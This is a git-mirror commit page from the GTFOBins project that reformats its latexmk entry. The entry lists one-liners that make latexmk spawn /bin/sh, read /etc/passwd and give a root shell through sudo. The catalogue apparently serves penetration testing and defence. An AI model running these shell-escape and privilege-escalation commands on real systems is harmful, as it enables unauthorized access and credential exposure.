1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Fix latexmk

This commit is contained in:
Andrea Cardaci 2022-07-03 17:33:51 +02:00
parent 51d6848786
commit a91775b84a

@ -1,10 +1,14 @@
---
description: This allows to execute [`perl`](/gtfobins/perl/) code. description: This allows to execute [`perl`](/gtfobins/perl/) code.
functions: functions:
shell: shell:
- code: latexmk -e 'exec "/bin/sh";' - code: |
- code: latexmk -latex='/bin/sh #' /dev/null latexmk -e 'exec "/bin/sh";'
- code: |
latexmk -latex='/bin/sh #' /dev/null
file-read: file-read:
- code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit' - code: |
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
- description: The read file will be part of the output. - description: The read file will be part of the output.
code: | code: |
TF=$(mktemp) TF=$(mktemp)
@ -12,3 +16,4 @@ functions:
strings tmp.dvi strings tmp.dvi
sudo: sudo:
- code: sudo latexmk -e 'exec "/bin/sh";' - code: sudo latexmk -e 'exec "/bin/sh";'
---